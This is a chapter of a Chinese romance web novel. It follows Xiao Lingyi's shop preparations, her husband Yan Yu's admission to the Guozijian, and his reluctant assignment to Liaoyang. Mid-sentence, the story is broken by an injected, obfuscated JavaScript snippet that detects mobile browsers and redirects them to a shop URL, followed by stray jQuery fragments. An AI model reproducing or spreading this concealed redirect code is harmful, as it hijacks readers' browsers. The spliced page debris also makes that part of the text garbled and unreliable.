89. 监照

作品:《夫君排队进火葬场了吗

    “咳!”章珩以手抵唇,“倒也没有,随口问问,参考一二。”


    掌柜自然是不敢对官员隐瞒的,“方才那位娘子是定了五百个胭脂罐子,大人也要?”


    章珩:“......”


    章珩买了几个梅瓶便走了。


    萧令仪出了老瓷行,原本还想再去扇庄看看,见天色不早了,便带着人回了家中。


    严瑜还未归家,萧令仪不急着用晚膳,有了今日的经验,她先拿了纸,画出她想要的纸扇样式来。


    其实纸扇都是大差不差的,只是这纸扇上要阴刻梅花图案,再刻上寸心二字。


    “还没用饭?”


    “你回来了?”萧令仪搁笔,正要抱过去,“今日怎么又这样晚?”


    严瑜一躲,“带着寒气呢,等我先摘了氅衣。”


    萧令仪不管,钻进他氅衣里抱住他。


    他便不急着脱了,用氅衣裹着她,两人抱在原地走了走,边说话。


    “你是不是喝酒了?”萧令仪嗅到了淡淡的酒味。


    “嗯,共事的幕僚办了桌酒,没能赶回来陪你用晚膳。”


    “你和他们关系好么?”


    “谈不上好不好,相安无事便好。”说白了幕僚是要在都督面前争宠的,谁献上计策谁得用,谁就受宠得的赏赐多,先前他们对他还有些阴阳怪气,如今见他一个月请了许多回假,又不知从哪听见他请辞的消息,对他莫名和善起来。


    “这个石都督怎么回事,竟这样耗着你。再过八九日就知晓国子监的结果了,我是相信你的,就怕有人暗自使了力,抢了你的名次可怎么办?”她有些担忧。


    他抚着她的背,“这没什么,国子监能进固然好,进不了咱们也有读书的法子。”


    严瑜已经用过饭了,萧令仪便给他盛了点清淡的汤,自己也简单用过,才各自洗漱回了暖阁。


    萧令仪见他没似平常那般看书,而是在瞧她的扇样。


    “如何?”


    “不错,不知能否请萧掌柜椽笔,也送严某一把,严某定日日拂拭,展扇如握君手。”严瑜笑道。


    萧令仪杏眸微嗔,眼波流转令人心旌摇曳。严瑜抓了她手过来,拽她坐自己腿上,“嗯?不送?”


    “你都挟萧掌柜以令扇子了,我岂敢不从?”


    严瑜笑出声,亲了亲她侧脸。


    “你是不是后日就休沐了?咱们一块去书铺里挑书吧?”萧令仪蹭了蹭。


    “好。”


    ......


    第二日,萧令仪又带着人去了扇庄,订了五十把扇,花了八十两,便早早回了家。


    晚间,严瑜带回来三十两银子,和一个不豫之讯。


    “为何不让你休沐?就因为你告了几次假?”


    严瑜点点头,萧令仪只觉这什么都督府有些不可理喻。


    严瑜一目十行,看书极快,许多书只要略翻一二就知道归经史子集哪一类,她在这方面不如他,所以才想与他一起去挑书,既然如此,也就只能等下回了。


    接下来几日,萧令仪无事可做,她索性带人去了寸心楼,将先前的书整理好。


    先前的书都是已经登记造册过了的,如今只需要从对应书箱里拿出来,摆放到对应柜架上便好。


    一共有六个柜架,她便安排每一层两个柜架用于放书。书理好后,又在三楼挑了个雅间作为画室,还需布置一番才行。


    这些事一忙起来,竟到了月末,萧令仪给每个人发了月钱,便开始忧心严瑜的成绩来。


    “明日巳时才张榜,你说,要不辰时让张武先过去候着,等一张榜便能见着消息了。”萧令仪侧头看他,伸手搭在他胸膛上轻抚。


    严瑜一手揽着她,轻轻摩挲她滑腻的背,另一手揩了揩她额上细密的汗珠,“国子监的司业会派差役送信,什么时候张榜,什么时候便送出来,说不定脚程比张武还快。”


    萧令仪微恼,手下掐了一把,“你自己的前程,你就一点不着急吗?!”


    严瑜立时抓住她的手,怎么会不着急,他这些日已经不知明上暗里打探过多少次了,他也怕被荫监顶了去,只是他装作不在意罢了,她都这般惴惴不安了,他若是表现出来在意的样子,她岂不是更加寝食难安?


    “阿姮,都子时了,你还不累吗?”


    “我唔唔......”


    ......


    萧令仪即便昨夜睡得晚,第二日仍是早早便起了,严瑜去了都督府,她什么都没心思做,想着亲自去国子监瞧瞧,又怕错过差役,但干等着又不似她所为,索性仍是让张武去看看。


    “认得老爷的名吗?”


    “认得!”张武急匆匆地出门了。


    萧令仪在家度日如年,不知过去多久,门被拍响,“是严瑜严举人家中吗?”


    “快!”萧令仪立时走了出来,紫苏手脚快,先一步开了门。


    “这是严瑜严举人家?“差役看了看她们。


    “正是正是!差爷请讲!”几人都睁着大眼看他。


    “这里是监照和勘合,还请严举人按上头的日期入国子监进学。”


    “多谢多谢!辛苦差爷!”萧令仪连忙接过,紫苏及时递上去一个荷包,将差爷恭送走后,萧令仪看着被蜡封的函套,心中大石头落了地。


    她捧着它,“老天保佑老天保佑!去,给老夫人报信!”


    萧令仪将函套锁在箱子里,没一会儿张武也回来报喜信,她刚想让他去都督府报给严瑜,转念又改口,让他和紫苏出去多买些吃食回来。


    偏这一晚,严瑜直到宵禁的暮鼓彻底响完了,才将将回了家。


    萧令仪时不时盯着门口呢,见他回来,立刻去迎他。


    严瑜没碰她,“天冷,先进去说。”


    她帮他扫了扫身上的雪,“今日是有什么事耽搁了么?”


    萧令仪接过他的氅衣挂好,拉着他坐下,“汤一直盖着,还是热的,先喝点汤暖暖。”


    “你用过饭了么?”他接过汤,温热的汤下肚,他眉毛都舒展开了。


    “一直不见你回,我便先用了些。你的监照


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137812|190868||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    和勘合到了!等着,我去拿!”萧令仪兴奋地打开箱子,将函套拿出来递给他。


    严瑜白日已经差了人打探过了,自然知道此事,他也心下欢喜,一把搂过她,让她旋坐在他腿上,“你来拆吧。”


    “我拆?”萧令仪眼一亮,“可以吗?”


    他轻笑,“这有何不可?况且这里也该有你一半的,若我们阿姮是男子,哪里轮得到我去国子监?”


    萧令仪轻哼,“就是!若我是男子,朝堂江湖哪里去不得?也不至于做个买卖还要被人造谣诽谤。”


    他亲亲她的侧脸,“拆开看看。”


    萧令仪依言,小心拆开函套,抽出里头的监照和勘合,仔仔细细地一个字一个字瞧过去。


    “明年二月初一,朔望谒庙,真好。”


    “真好。”严瑜亲了亲她的鬓发,“阿姮,我有事和你说。”


    萧令仪正盯着手上的监照呢,她偏头,“何事?”


    他白日就知道了自己已上了榜,恰逢都督人逢喜事,他便再提了一回辞去差事。这回都督面上倒没有愠怒之色,只说让他再办最后一桩事,且仍给他一千两银子包含脚钱,办好后便可以不用再来了。


    严瑜与她细细说了。


    “辽阳?好好为何要去辽阳?石都督不是管京师卫戍的么?”萧令仪眉头紧皱。


    “是都督的私事,此事机密,不能轻易泄密。”


    萧令仪沉吟,慢慢问道:“石都督不会和鞑子勾连吧?”


    严瑜紧了紧她的手,“不是,阿姮,他还没那么胆大,此事不好与你细说,其中有几许复杂,待我全身而退了再告诉你。”


    萧令仪看着他,“还能全身而退吗?你替他私下做这些事,怕是要冒着丢掉性命的风险吧?”她站起身,“况且,此去辽阳,路上又有多少凶险?”


    严瑜拉着她的手,仰头看着她,“阿姮,对不起,我当初目光短浅,如今骑虎难下,石都督睚眦必报,要全身而退,总要付出些代价。”


    “你想过我吗?”萧令仪冷静地看着他。


    他将她拉过来抱住,“阿姮,对不起,是我连累了你......”


    “我说的是这个吗?!”萧令仪眼有些红。


    那要怎样?难道要和他和离?不!他不允许!况且他们若是和离了,她的户籍怎么办,难道要让他眼睁睁看她嫁给别的人?不!严瑜眼也红了,他紧紧抱住她,“是我连累了你,你别怕,我会解决的,你别离开好吗?阿姮,阿姮。”


    萧令仪都要被气死了,当初他们成婚,严瑜能给她一百五十两,恐怕就是从都督府里拿的,若是没有那些钱,她未必能做得起生意,甚至连这院子都未必有胆量买,她怕的是他连累她吗?!彼时谁又能料到今日,谁又能料到向来不错的石都督是怎样的人?


    只是分别在即,她不愿与他吵,从京城到辽阳,一路匪患鞑子无数,若是、若是......


    叫她一辈子肝肠寸断吗?!


    她眼泪一落,严瑜立时慌了,他拿手去擦,“阿姮,阿姮。”